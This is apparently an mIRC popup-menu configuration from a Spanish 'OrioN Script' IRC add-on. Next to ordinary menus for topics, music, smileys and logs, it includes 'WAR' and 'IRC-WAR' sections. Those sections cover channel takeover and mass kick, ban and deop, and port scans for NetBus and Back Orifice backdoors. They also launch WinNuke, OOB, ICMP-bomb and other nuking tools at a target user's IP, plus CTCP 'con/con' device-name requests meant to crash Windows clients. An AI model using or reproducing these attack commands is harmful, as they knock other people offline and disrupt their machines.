n82=...$getvarconfig#($active,topic4): topic # $getvarconfig#($active,topic4)
n83=...$getvarconfig#($active,topic5): topic # $getvarconfig#($active,topic5)
n84=...$getvarconfig#($active,topic6): topic # $getvarconfig#($active,topic6)
n85=...-
n86=...predefinir
n87=....$getvarconfig#($active,topic1): setvarconfig# %winactive topic1 $$?="Escribe el topic1 predefinido para el canal"
n88=....$getvarconfig#($active,topic2): setvarconfig# %winactive topic2 $$?="Escribe el topic2 predefinido para el canal"
n89=....$getvarconfig#($active,topic3): setvarconfig# %winactive topic3 $$?="Escribe el topic3 predefinido para el canal"
n90=....$getvarconfig#($active,topic4): setvarconfig# %winactive topic4 $$?="Escribe el topic4 predefinido para el canal"
n91=....$getvarconfig#($active,topic5): setvarconfig# %winactive topic5 $$?="Escribe el topic5 predefinido para el canal"
n92=....$getvarconfig#($active,topic6): setvarconfig# %winactive topic6 $$?="Escribe el topic6 predefinido para el canal"
n93=.massivos
n94=..mass-msg: massmsg
n95=..-
n96=..mass-op: massop
n97=..mass-deop: massdeop
n98=..-
n99=..mass-voz: massvoz
n100=..mass-devoz: massdevoz
n101=..-
n102=..mass-kick: masskick
n103=..mass-ban: massban
n104=..-
n105=..mass-ban-kick: massbankick
n106=..-
n107=..mass-deop-kick: massdeopkick
n108=..mass-deop-kick-ban: massdeopbankick
n109=.-
n110=.ofrecer file: dialog -m sendfilec sendfilec 
n111=.invitar aqui: invite $$?="A que nick deseas invitar?"  $chan 
n112=.salir y entrar: hop $1
n113=.añadir a lista :{
n114=  write $mircdirsistema\txts\canales.txt $chan
n115=  echo -s 15,2 Añadido canal:0,4 $chan 15,2 a lista de canales preferidos 9,99
n116=}
n117=.-
n118=.traer clon: conexclon $active |  wincanalorionclon 
n119=InfoCanal
n120=.ScanCanal: dialog -m scancanal scancanal | .timer -m 1 100 did -a scancanal 3 %winactive
n121=.-
n122=.info central-canal : channel
n123=.-
n124=.who nicks-canal: who #
n125=.-
n126=.lista de bans
n127=..ver en canal: seebanlist %winactive say
n128=..ver en status: seebanlist %winactive echo -s
n129=.-
n130=.Port 139 (win-95):/ @scan#n | scan#n win-95 139 %winactive
n131=.Port 135 (win-NT):/ scan#n win-nt 135 %winactive
n132=.Port 1080 (WinGate):/ scan#n win-gate 1080 %winactive
n133=.Port 12345 (NetBus):/ scan#n netbus 12345 %winactive
n134=.Port 31337 (BO):/ scan#n bo 31337 %winactive
n135=.Port 79 (Finger):/ scan#n finger 79 %winactive
n136=.Port 23 (Telnet):/ scan#n telnet 23 %winactive
n137=.Port 113 (IdenT):/ scan#n ident 113 %winactive
n138=.Port (¿?): scan#n $$?="Escribe el puerto a escanear" $! %winactive
n139=.-
n140=-
n141=Mostrar
n142=.topic
n143=..en status: echo -s 2Topic12 # $+ 1:4 $chan(#).topic
n144=..en canal: say 2Topic12 # $+ 1:4 $chan(#).topic
n145=.modos
n146=..en status: echo -s 2Modos12 # $+ 1:4 $chan(#).mode
n147=..en canal: say 2Modos12 # $+ 1:4 $chan(#).mode
n148=.key
n149=..en status: echo -s 2Key12 # $+ 1:4 $chan(#).key
n150=..en canal: say 2Key12 # $+ 1:4 $chan(#).key
n151=.limit
n152=..en status: echo -s 2Limit12 # $+ 1:4 $chan(#).limit
n153=..en canal: say 2Limit12 # $+ 1:4 $chan(#).limit
n154=.I.A.L
n155=..en status: echo -s 2Lista interna de direcciones12 # $+ 1:4 $chan(#).ial
n156=..en canal: say 2Limit12 # $+ 1:4 $chan(#).limit
n157=.list-ban
n158=..en canal: seebanlist %winactive say
n159=..en status: seebanlist %winactive echo -s
n160=.-
n161=.mis estadisticas: dialog -m contacc contacc
n162=.mi presentación
n163=..Presentacion:{
n164=  say  7,1©6©8©9©10©11©12©13©14©4,4 7,7 8,89,9 12,12 10,10 13,13 1,1   124,1  $+ $me $+ 's13 Profile1,1 13,13 10,10 12,12 9,9 8,8 7,7 4,4 9,1©10©11©12©13©14©3©4©6©
n165=  say 12Soy un/a agradable13 %sex de 4 %race
n166=  say 12Tengo5 %age años 12Mido 10 %height cm12y peso2 %weight kg
n167=  say 12Mis hobbies son6 %hobbies
n168=  say 12Suelo estar por7 %rchan
n169=  say  7,1©6©8©9©10©11©12©13©14©3©4©6©7©8©9©10©11@1,1   4,1 orion Script 8,19,112,17,113,111,1+  1,1   11,1@1©3©4©5©7©6©8©9©10©11©12©13©14©3©4©6©
n170=}
n171=..Configura presentacion: mipresentacion
n172=.mi nick: me 8,1 Mi nick es:11,1 $me 11,99
n173=.mis canales: canales#
n174=.mi server: servidor#
n175=.mi ip: ip#
n176=.mi lag: { .ctcp $me ping |   sorion boton3 | set %muestrolag on }
n177=.tiempo en el irc: msg %winactive  12 Llevo conectado al IRC 1[4 %ts 10seg 1] [4 %tm 10min1 ] 12 y 1[4 %th 10h1 ]
n178=.-
n179=.la hora: me 12 Son las 0,15 0,14 11,1 $time 0,14 0,15 15,99
n180=.la fecha: me 12 Estamos a 0,15 0,14 11,1 $date 0,14 0,15 15,99
n181=.-
n182=.web actual:{
n183=  if ($url != $null) { msg # 10 WEB 1[ 12 $url 1] }
n184=  else { echo -a 4,1 Tu navegador no se encuentra abierto 9,99 }
n185=}
n186=.webs
n187=..- %web0: msg %winactive %web0
n188=..-
n189=..- %web1:  msg %winactive  %web1
n190=..- %web2:  msg %winactive  %web2
n191=..- %web3:  msg %winactive  %web3
n192=..- %web4:  msg %winactive  %web4
n193=..- %web5: msg %winactive %web5
n194=..- %web6:  msg %winactive  %web6
n195=..- %web7:  msg %winactive  %web7
n196=.e-mails
n197=..- %email0: msg %winactive %email0
n198=..-
n199=..- %email1:  msg %winactive  %email1
n200=..- %email2:  msg %winactive  %email2
n201=..- %email3:  msg %winactive  %email3
n202=..- %email4:  msg %winactive  %email4
n203=..- %email5:  msg %winactive  %email5
n204=..- %email6:  msg %winactive  %email6
n205=..- %email7:  msg %winactive  %email7
n206=Mensajes
n207=.Msg a nicks: massmsg
n208=.Msg Mass
n209=..Mandar:/ameq $$?="Mensaje global a todos tus querys?"
n210=..-
n211=..info:/informo Puedes usar el comando  "/ameq [mensaje]" en cualquier ventana para causar el mismo resultado. Un mensaje comun global y massivo a todos los privados que tienes abiertos. $oriontheme(sSeparadorLine) 
n212=.-
n213=.-
n214=.Nombrar nicks: saluallnicks# $chan $$?="Escribe el saludo" 
n215=.-
n216=./me msg: me  $$?="Escribe aqui el mensaje para el canal $chan " 
n217=.Msg opers: {
n218=  if ($me isop $chan) { omsg $active $$?="Mensaje para los op del canal $chan?" }
n219=  elseif ($me !isop $chan) { echo -a 8,1Para poder ejecutar este comando debes de ser operador del canal $active 8,99 } 
n220=}
n221=.Notice opers: onotice $chan $$?="Escribe aqui el mensaje para el canal $chan " 
n222=.Msg canales: amsg $$?="Mensaje a todos tus canales actuales?"
n223=.-
n224=.texto adornado
n225=.. Lazo rojo-azul: cruzados 1 $$?="¿Texto?"
n226=.. Lazo azul-rosa: cruzados 2 $$?="¿Texto?"
n227=.. Lazo amarillo-verde: cruzados 3 $$?="¿Texto?"
n228=.. Lazo verde-rojo: cruzados 4 $$?="¿Texto?"
n229=..Lazo azul-verde:cruzados 5 $$?="¿Texto?"
n230=..Lazo multicolor:cruzados 6 $$?="¿Texto?"
n231=..Texto Enmarcado:cruzados 7 $$?="¿Texto?"
n232=..Texto Enmarcado 2:cruzados 8 $$?="¿Texto?"
n233=..Bloque 3D:cruzados 9 $$?="¿Texto?"
n234=..Cajas colores: cruzados 10 $$?="¿Texto?"
n235=..Cajas Enlazadas: cruzados 11 $$?="¿Texto?"
n236=..Cajas Enlazadas 2: cruzados 12 $$?="¿Texto?"
n237=..Cajas Enlazadas 3: cruzados 15 $$?="¿Texto?"
n238=..Zig-Zag: cruzados 13 $$?="¿Texto?"
n239=-
n240=Musica
n241=.reproductor:/dialog -m musica musica
n242=.-
n243=.MID play: set %m $$file="Selecciona un archivo *.midi" %pathmusicamid | .splay %m | anunciamusi %m
n244=.WAV play: set %m $$file="Selecciona un archivo *.wav" %pathmusicawav | .splay %m | anunciamusi %m
n245=.Mp3 play: set %m $$file="Selecciona un archivo *.mp3" %pathmusicamp3 | .splay %m  | anunciamusi %m
n246=.-
n247=.mid al azar:{ var %y | %y = $findfile(%pathmusicamid,*.mid,0) |  %y = $rand(1,%y) |  .splay $findfile(%pathmusicamid,*.mid,%y) | anunciamusi $findfile(%pathmusicamp3,*.mid,%y) | unset %y }
n248=.wav al azar:{ var %y | %y = $findfile(%pathmusicawav,*.wav,0) |  %y = $rand(1,%y) |  .splay $findfile(%pathmusicawav,*.wav,%y) |  anunciamusi $findfile(%pathmusicamp3,*.wav,%y) | unset %y }
n249=.mp3 al azar:{ var %y | %y = $findfile(%pathmusicamp3,*.mp3,0) |  %y = $rand(1,%y) |  .splay $findfile(%pathmusicamp3,*.mp3,%y) |  anunciamusi $findfile(%pathmusicamp3,*.mp3,%y) | unset %y }
n250=.-
n251=.Stop:/splay stop
n252=.-
n253=.Predefinir
n254=..ruta midis
n255=... %pathmusicamid :/
n256=...cambiar ruta: set %pathmusicamid $sdir="Seleccione el directorio con sus midis" C:\
n257=..ruta wavs
n258=... %pathmusicawav :/
n259=...cambiar ruta: set %pathmusicawav $sdir="Seleccione el directorio con sus wavs" C:\
n260=..ruta mp3s
n261=... %pathmusicamp3 :/
n262=...cambiar ruta:/set %pathmusicamp3 $sdir="Seleccione el directorio con sus mp3s" C:\
n263=Pijadas
n264=.Juegos
n265=..Trivial: dialog -m trivial trivial
n266=..-
n267=..Adivina Número
n268=...On : adion
n269=...Off : adioff
n270=..-
n271=..Ruleta Rusa
n272=...On: ruletaon
n273=...Off: ruletaoff
n274=..-
n275=..Cara o Cruz
n276=...On: echo -s estoy aqui | caraon
n277=...Off: /caraoff
n278=.-
n279=.PiJVarios: wintxtvarios
n280=.-
n281=.Caras
n282=..Raton:/say 0-----()_() | /say 0-----(o o) | /say -ooO--`o'--Ooo-
n283=..Vaca:/say 0----((__)) | /say 0-----(00) | /say nn--(o__o)--nn- | /say 0-----´--` Muuuuu
n284=..Cara Normal:/say 0-----... | /say 0----(o o) | /say ooO--(_)--Ooo-
n285=..Toy de Broma:/say 0-----... | /say 0----(o -) | /say ooO--(_)--Ooo- | /say ¡¡Toy de broma $$1 !! ;)
n286=..Toy Sobao:/say 0-----... | /say 0----(- -) | /say ooO--(_)--Ooo- | /say -- Toy sobao. --
n287=..Toy Pasmao:/say 0-----\|/ | /say 0----(@ @) | /say ooO--(_)--Ooo- | /say -- Toy pasmao. --
n288=.-
n289=.Smyles
n290=..payaso:say 13<12,8&4o6)
n291=..con gorra: say 12¶1:7)     
n292=..carcajada :say 1 :-4D
n293=..emocionado: say 12,8 :,4)
n294=..llorando: say 6:,-(
n295=..zurdo: say 7,8(-:
n296=..facho: say 1B5:-)
n297=..niña: say 138:)
n298=..angelito: say 120:)
n299=..diablillo: say 4}:-)
n300=..vampiro: say 4,15 :-[ 
n301=..babeando: say 7:-)12~
n302=..punk: say 13=7,8:-|
n303=..saca lengua: say 4:-p
n304=..muerto: say 1,11X-(
n305=..venganza: say 2>:-D
n306=..borracho: say 10%-)
n307=..-
n308=..gestor de smyles: dialog -m caritas caritas
n309=.-
n310=.Banderas
n311=..Española: spain
n312=..Asturies: asturias
n313=..Unión Europea: ue
n314=..Valenciana: valencia
n315=..Malagueña: malaga
n316=..Norte Americana: usa
n317=..Argentina: argentina
n318=..Andalucía: andaluz
n319=..Madrid: madrid
n320=..México: mejico
n321=..Cataluña: catalana
n322=..Castilla León: casti.leon
n323=..Cantabria: cantabria
n324=..Extremadura: extremadura
n325=..Canarias: canarias
n326=..La Rioja: larioja
n327=.-
n328=.Ascii: dialog -m ascii ascii
n329=-
n330=Ventana
n331=.Log
n332=..Gestor @log: @log
n333=..-
n334=..grabar: log on $active
n335=..no grabar: log off $active
n336=..-
n337=..$iif($filetrue($active,log) != $null,ver/editar): @log $filetrue($active,log)
n338=.-
n339=.Redire: dialog -m redirelogwin redirelogwin
n340=.-
n341=.Limpiar: clear $active
n342=.-
n343=.Cerrar: part
n344=-
n345=WAR
n346=. $iif($me !isop $active,$style(2)) hacerse con el canal: set %takeover# $chan | sorion atake | takeover 
n347=.-
n348=. $iif($me !isop $active,$style(2)) llenar de bans:{ sorion atake | war.baneo# }
n349=. $iif($me !isop $active,$style(2)) joder modos: { sorion kick | war.modos# }
n350=.-
n351=. $iif($me !isop $active,$style(2)) kick aleatorio:{ sorion nuller | war.kick# }
n352=. $iif($me !isop $active,$style(2)) ban-kick aleatorio:{ sorion nuller | war.bankick# }
n353=.-
n354=. $iif($me !isop $active,$style(2)) solo hablo io
n355=..activar %act.war.ssss:{  .splay $mircdirmusica\wav\testigo.wav
n356=  echo -s 8,1 Activada opcion de prohibido hablar en el canal11 $chan8 esta sera desactivada automaticamente al desconectar, o poniendo desactivar.
n357=  set %war.ssss $chan 
n358=  set %act.war.ssss -x-
n359=  unset %des.war.ssss
n360=  .enable #ssss
n361=}
n362=..desactivar %des.war.ssss: { .disable #ssss | unset %war.ssss %act.war.ssss | set %des.war.ssss -x- }
n363=.-
n364=. $iif($me !isop $active,$style(2)) quitar las @: massdeop
n365=. $iif($me !isop $active,$style(2)) quitar los +: massdevoz
n366=. $iif($me !isop $active,$style(2)) kick global: masskick
n367=. $iif($me !isop $active,$style(2)) ban massivo: massban
n368=. $iif($me !isop $active,$style(2)) ban-kick global: massbankick
n369=. $iif($me !isop $active,$style(2)) deop-kick massivo: massdeopkick
n370=. $iif($me !isop $active,$style(2)) deop-kick-ban massivo: massdeopbankick
n371=.-
n372=.mass atak con/con:/ctcp $active SOUND /XMSXXXX0/XMSXXXX0/XMSXXXX0.mp3
n373=.-
n374=.PortOpen 139 (win-95):/ scan#n win-95 139 $active
n375=.PortOpen 135 (win-NT):/ scan#n win-nt 135 $active
n376=.PortOpen 1080 (WinGate):/ scan#n win-gate 1080 $active
n377=.PortOpen 12345 (NetBus):/ scan#n netbus 12345 $active
n378=.PortOpen 31337 (BO):/ scan#n bo 31337 $active
n379=.PortOpen 79 (Finger):/ scan#n finger 79 $active
n380=.PortOpen 23 (Telnet):/ scan#n telnet 23 $active
n381=.PortOpen 113 (IdenT):/ scan#n ident 113 $active
n382=.PortOpen (¿?): scan#n $$?="Escribe el puerto a escanear" $! $active
n383=.-
n384=.Scaner: run $mircdirscaner\Portscan.exe
[qpopup]
n0=OrioN
n1=.simple: publi say
n2=.-
n3=.new version..: publi say Nueva y mejorada versión: 
n4=.el poder..: publi say El verdadero poder se encuentra en: 
n5=.la revelación..: publi say La revelación del IRC: 
n6=.creiste?...: publi say Creiste ver todo en un script? 
n7=.war...: publi say El mejor war del momento en:
n8=.español..: publi say Script totalmente en Español:
n9=-
n10=Info
n11=.whois-status: whois $$1
n12=.whois-dialog: {  quien-es $$1 d }
n13=.-
n14=.Lag PING: ctcp $$1 ping
n15=.-
n16=.hacer who: set %r.who si | who $$1
n17=.ver host/ip: dns $$1
n18=.misma ip: who $gettok($address($1,2),2,64)
n19=.trazar ruta: {
n20=  run $mircdirsistema\bats\traza.bat $gettok($address($1,2),2,64)
n21=  echo -s 0,1 Trazando ruta IP bajo MSDOS 0,4  $gettok($address($1,2),2,64) 9,99
n22=}
n23=.-
n24=.DNS: dns $$1
n25=.FINGER: finger $$1
n26=.-
n27=.MSDOS-Ping:{
n28=  run $mircdirsistema\bats\msdosping.bat $gettok($address($1,2),2,64) $$?="Numero de pings a ejecutar"
n29=  echo -s 0,1 OrioN-Ping bajo MSDOS 0,4  $gettok($address($1,2),2,64) 9,99
n30=} 
n31=.ucentral: uwho $$1
n32=.ver agenda: /abook $$1
n33=.$iif($filetrue($1,log) != $null,ver log): @log $filetrue($1,log)
n34=.-
n35=.$iif($ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,ver clones)
n36=..clones?:  dialog -m scan scan |  set %whoscan on |  who %barsnick | .timer 1 1 scanclonesd
n37=..-
n38=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick d
n39=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick d
n40=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick d
n41=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick d
n42=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ quien-es $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick d
n43=..-
n44=.. $gettok($address($snick($chan),2),2,33):/ who $gettok($gettok($address($snick($chan),2),2,33),2,64)
n45=..-
n46=.$iif( $ialchan($gettok($address($snick($chan),2),2,33),$active ,0) > 1,patear clones)
n47=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§
n48=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§
n49=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§
n50=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§
n51=.. $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick:/ kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§
n52=..-
n53=..todos: {
n54=  kick # $ialchan($gettok($address($snick($chan),2),2,33),$active ,1).nick 1PäTêØ dÈ cLøNê§
n55=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,2).nick 1PäTêØ dÈ cLøNê§
n56=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,3).nick 1PäTêØ dÈ cLøNê§
n57=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,4).nick 1PäTêØ dÈ cLøNê§
n58=  kick  # $ialchan($gettok($address($snick($chan),2),2,33),$active ,5).nick 1PäTêØ dÈ cLøNê§
n59=}
n60=.-
n61=.scan OrioN: dialog -m scan scan |  set %whoscan on |  who $1
n62=.scaner: run $mircdirscaner\Portscan.exe 127.45.41.45
n63=.-
n64=.espiar %barsnick : espianick %barsnick
n65=-
n66=FSend: dcc send $$1 
n67=$iif($ignore($address($$1,2)),$style(1)) Ignorar: ignorar $$1
n68=-
n69=Acciones
n70=.hacer chat: dcc chat $$1
n71=.enviar fichero: dcc send $$1 
n72=.-
n73=.f-serveR:  fserve $$1 10 $$sdir="Selecione el directorio de inicio" $mircdirsistema\txts\welcomefserver.txt
n74=.telnet: %whotelnet = on | who $$1 
n75=.add users: dialog -m userlist userlist
n76=.-
n77=.add notify:{
n78=  .notify $$1 
n79=  echo -s $oriontheme(sSeparadorLine)
n80=  echo -s 4,1[0,1 Añadido nick: 9 $$1 8a la lista de notificacion 4] 0,99
n81=  echo -s $oriontheme(sSeparadorLine)
n82=}
n83=.-
n84=.ignorarle: ignorar $$1
n85=.-
n86=.mensaje: msg $$1 $?="Cual es el mensaje para $1?"
n87=.msg mass
n88=..all querys:/ameq $$?="Mensaje global a todos tus querys?"
n89=..-
n90=..info:/informo Puedes usar el comando  "/ameq [mensaje]" en cualquier ventana para causar el mismo resultado. Un mensaje comun global y massivo a todos los privados que tienes abiertos. $oriontheme(sSeparadorLine) 
n91=.noticia: notice $$1 $?="Que noticia le doy a $1?" 
n92=.-
n93=.ctcp Ping : ctcp $$1 ping
n94=.ctcp Finger: ctcp $$1 finger
n95=.ctcp Version: ctcp $$1 version
n96=.ctcp Time: ctcp $$1 time
n97=.ctcp Userinfo: ctcp $$1 userinfo
n98=.ctcp Clientinfo: ctcp $$1 clientinfo
n99=.-
n100=.ctcp específico:/ctcp $* $$?="Qué CTCP?"
n101=Mostrar
n102=.baners script
n103=..simple: publi say
n104=..-
n105=..new version..: publi say Nueva y mejorada versión: 
n106=..el poder..: publi say El verdadero poder se encuentra en: 
n107=..la revelación..: publi say La revelación del IRC: 
n108=..creiste?...: publi say Creiste ver todo en un script? 
n109=..war...: publi say El mejor war del momento en:
n110=..español..: publi say Script totalmente en Español:
n111=.-
n112=.mis estadisticas: dialog -m contacc contacc
n113=.mi presentación
n114=..Presentacion:{
n115=  say  7,1©6©8©9©10©11©12©13©14©4,4 7,7 8,89,9 12,12 10,10 13,13 1,1   124,1  $+ $me $+ 's13 Profile1,1 13,13 10,10 12,12 9,9 8,8 7,7 4,4 9,1©10©11©12©13©14©3©4©6©
n116=  say 12Soy un/a agradable13 %sex de 4 %race
n117=  say 12Tengo5 %age años 12Mido 10 %height cm12y peso2 %weight kg
n118=  say 12Mis hobbies son6 %hobbies
n119=  say 12Suelo estar por7 %rchan
n120=  say  7,1©6©8©9©10©11©12©13©14©3©4©6©7©8©9©10©11@1,1   4,1 orion Script 8,19,112,17,113,111,1+  1,1   11,1@1©3©4©5©7©6©8©9©10©11©12©13©14©3©4©6©
n121=}
n122=..Configura presentacion:/set %height $$?="Pon tu altura: (en cm)" | /set %weight $$?="Pon tu peso : (en kg)" | /set %race $$?="Pon tu procedencia(Ciudad y Pais?: (Benidorm,España? :-D)" | /set %age $$?="Pon tu edad:" | /set %sex $$?="Pon tu sexo: (Tio o Tia)" | /set %rchan $$?="Canal donde sueles estar: (eg. #Outerlimits)" | /set %hobbies $$?="Indica tus hobbies:"
n123=.mi nick: me 8,1 Mi nick es:11,1 $me 11,99
n124=.mis canales: canales#
n125=.mi server: servidor#
n126=.mi ip: ip#
n127=.mi lag: { .ctcp $me ping |   sorion click | set %muestrolag on }
n128=.tiempo en el irc: msg %winactive  12 Llevo conectado al IRC 1[4 %ts 10seg 1] [4 %tm 10min1 ] 12 y 1[4 %th 10h1 ]
n129=.-
n130=.la hora: me 12 Son las 0,15 0,14 11,1 $time 0,14 0,15 15,99
n131=.la fecha: me 12 Estamos a 0,15 0,14 11,1 $date 0,14 0,15 15,99
n132=.-
n133=.la web actual:{
n134=  if ($url != $null) { msg # 10 WEB 1[ 12 $url 1] }
n135=  else { echo -a 4,1 Tu navegador no se encuentra abierto 9,99 }
n136=}
n137=.webs
n138=..- %web1: msg %winactive %web1
n139=..- %web2:  msg %winactive  %web2
n140=..- %web3:  msg %winactive  %web3
n141=..- %web4:  msg %winactive  %web4
n142=..- %web5:  msg %winactive  %web5
n143=..- %web6: msg %winactive %web6
n144=..- %web7:  msg %winactive  %web7
n145=..- %web8:  msg %winactive  %web8
n146=..- %web9:  msg %winactive  %web9
n147=..- %web10:  msg %winactive  %web10
n148=..- %web11: msg %winactive %web11
n149=..- %web12:  msg %winactive  %web12
n150=..- %web13:  msg %winactive  %web13
n151=..- %web14:  msg %winactive  %web14
n152=..- %web15:  msg %winactive  %web15
n153=.e-mails
n154=..- %email1: msg %winactive %email1
n155=..- %email2:  msg %winactive  %email2
n156=..- %email3:  msg %winactive  %email3
n157=..- %email4:  msg %winactive  %email4
n158=..- %email5:  msg %winactive  %email5
n159=.-
n160=.Caras
n161=..Raton:/say 0-----()_() | /say 0-----(o o) | /say -ooO--`o'--Ooo-
n162=..Vaca:/say 0----((__)) | /say 0-----(00) | /say nn--(o__o)--nn- | /say 0-----´--` Muuuuu
n163=..Cara Normal:/say 0-----... | /say 0----(o o) | /say ooO--(_)--Ooo-..Toy de Broma:/say 0-----... | /say 0----(o -) | /say ooO--(_)--Ooo- | /say ¡¡Toy de broma $$1 !! ;)
n164=..Toy Sobao:/say 0-----... | /say 0----(- -) | /say ooO--(_)--Ooo- | /say -- Toy sobao. --
n165=..Toy Pasmao:/say 0-----\|/ | /say 0----(@ @) | /say ooO--(_)--Ooo- | /say -- Toy pasmao. --
n166=IRC-WAR
n167=. $iif(!$exists($mircdir\war),$style(2)) ClicK
n168=..puerto 6667: %ataker.port = 6667 | %ataker = on | %progataker = click  | who $$1  
n169=..-
n170=..puerto 6668: %ataker.port = 6668 | %ataker = on | %progataker = click  | who $$1  
n171=..puerto 6669: %ataker.port = 6669 | %ataker = on | %progataker = click  | who $$1  
n172=..puerto 7000: %ataker.port = 7000 | %ataker = on | %progataker = click  | who $$1  
n173=..puerto 6664-7000: %ataker.port = 6667-7000 | %ataker = on | %progataker = click  | who $$1  
n174=..-
n175=..Especificar puerto(s): set %ataker.port $$?="Especifica el/los puertos a nukear (Ej: 6664-6666)" | %ataker = on | %progataker = click  | who $$1  
n176=.-
n177=. $iif(!$exists($mircdir\war),$style(2)) WinNuke
n178=..puerto 6667: %ataker.port = 6667 | %ataker = on | %progataker = winnuke  | who $$1  
n179=..-
n180=..puerto 6668: %ataker.port = 6668 | %ataker = on | %progataker = winnuke  | who $$1  
n181=..puerto 6669: %ataker.port = 6669 | %ataker = on | %progataker = winnuke  | who $$1  
n182=..puerto 7000: %ataker.port = 7000 | %ataker = on | %progataker = winnuke  | who $$1  
n183=..puerto 6664-7000: %ataker.port = 6667-7000 | %ataker = on | %progataker = winnuke  | who $$1  
n184=..-
n185=..Especificar puerto(s): set %ataker.port $$?="Especifica el/los puertos a nukear (Ej: 6664-6666)" | %ataker = on | %progataker = winnuke  | who $$1  
n186=.-
n187=.BUG COM
n188=..con/con:/ ctcp $1 sound con/con.wav
n189=..com/com: ctcp $1 sound com/com.wav
n190=..clock/clock: ctcp $1 sound clock/clock.wav
n191=..ps/ps: ctcp $1 sound ps/ps.wav
n192=..aux/aux: ctcp $1 sound aux/aux.wav
n193=..lpt/lpt: ctcp $1 sound lpt/lpt.wav
n194=..nul/nul: ctcp $1 sound nul/nul.wav
n195=..-
n196=..com/clock$.mp3: ctcp $1 sound com/clock$.mp3
n197=..-
n198=..COM XMSXX...://ctcp $active SOUND /XMSXXXX0/XMSXXXX0/XMSXXXX0.mp3
n199=.-
n200=. $iif(!$exists($mircdir\war),$style(2)) Assault:{
n201=  echo -s >> 0Puesta de ip manualmente. (copia y pega la ip en el programa de war)
n202=  %progataker =  Assault | %ataker = on | who $$1
n203=}
n204=.-
n205=. $iif(!$exists($mircdir\war),$style(2)) Nuker: %ataker = on | set %progataker VTJNuker | who $$1 
n206=.-
n207=. $iif(!$exists($mircdir\war),$style(2)) OOB:{
n208=  %progataker =  OOB | %ataker = on | run $mircdirWAR\Voob.exe |  who $$1
n209=  echo -s >> 0Puesta de ip manualmente.
n210=}
n211=.-
n212=. $iif(!$exists($mircdir\war),$style(2)) ICMP:{
n213=  %progataker =  ICMP | %ataker = on |  who $$1 
n214=  run $mircdirWAR\jav\VTJBomber.exe 
n215=  echo -s >> 0Puesta de ip manualmente.
n216=}
n217=.-
n218=. $iif(!$exists($mircdir\war),$style(2)) ICMP2: {
n219=  %progataker = ICMP bomber | %ataker = on | who $$1
n220=  run $mircdirwar\icmp.exe %whonickip
n221=  echo -s >> 0Pulse el boton start para comenzar el atake.
n222=}
n223=.-
n224=. $iif(!$exists($mircdir\war),$style(2)) Ping: set %ataker on | set %progataker Wsping32 |  who $$1
n225=.-
n226=. $iif(!$exists($mircdir\war),$style(2)) Divint:{
n227=  %progataker =  Divint  | %ataker = on |  who $$1 
n228=  run $mircdirWAR\divint\Divint3.exe
n229=  echo -s >> 0Puesta de ip manualmente. 
n230=}
n231=.-
n232=. $iif(!$exists($mircdir\war),$style(2)) BitchSlap: %progataker = BitchSlap  | %ataker = on | who $$1 
n233=.-
n234=. $iif(!$exists($mircdir\war),$style(2)) Panther: {
n235=  %progataker =  Panther | %ataker = on   | who $$1 
n236=  run $mircdirwar\Panther.exe 
n237=  echo -s >> 0Puesta de ip manualmente. 
n238=}
n239=.-
n240=. $iif(!$exists($mircdir\war),$style(2)) WnewK-x:{
n241=  %progataker =  WnewK-x v1.11.5 | %ataker = on  | who $$1 
n242=  run $mircdirWAR\Wnewk-x.exe
n243=  echo -s >> 0Introduce manualmente los datos. 
n244=}
n245=.-
n246=. $iif(!$exists($mircdir\war),$style(2)) NukeR:{
n247=  %progataker =  Wnuke v2.3 | %ataker = on  | who $$1 
n248=  run $mircdirWAR\wnuke.exe
n249=  echo -s >> 0Introduce manualmente la ip. 
n250=}
n251=-
n252=Ventana
n253=.Log
n254=..Gestor @log: @log
n255=..-
n256=..grabar: log on $active
n257=..no grabar: log off $active
n258=..-
n259=..$iif($filetrue($active,log) != $null,ver/editar): @log $filetrue($active,log)
n260=.-
n261=.Redire: dialog -m redirelogwin redirelogwin
n262=.-
n263=.Limpiar: clear $active
n264=.-
n265=.Cerrar: part
[bpopup]
n0=[ [ [ OrioN ScripT ] ] ]
n1=OrioN WEB: runer net http://www.ircorion.net
n2=OrioN SpaM: publi amsg 
n3=-
n4=Acerca de...: dialog -m acercade acercade
n5=-
n6=Configuración
n7=.Config (setup): dialog -m setup setup
n8=.-
n9=.bots (comandos):/dialog -m redes redes | did -c redes 2
n10=.auto identifys (nick):/dialog -m redes redes | did -c redes 3
n11=.auto joins (canales):/dialog -m redes redes | did -c redes 4
n12=.-
n13=.Grafico
n14=..Skins: dialog -m skins skins
n15=..Fondos: dialog -m background background
n16=..Theme: dialog -m themes themes
n17=.Tipo-letra: dialog -m letras letras
n18=.-
n19=.Usuarios
n20=..Notify: dialog -m notify notify
n21=..Ignore: dialog -m ignore ignore
n22=..Userlist: dialog -m userlist userlist
n23=.-
n24=. $iif(!$exists($mircdir\war),$style(2)) Atake
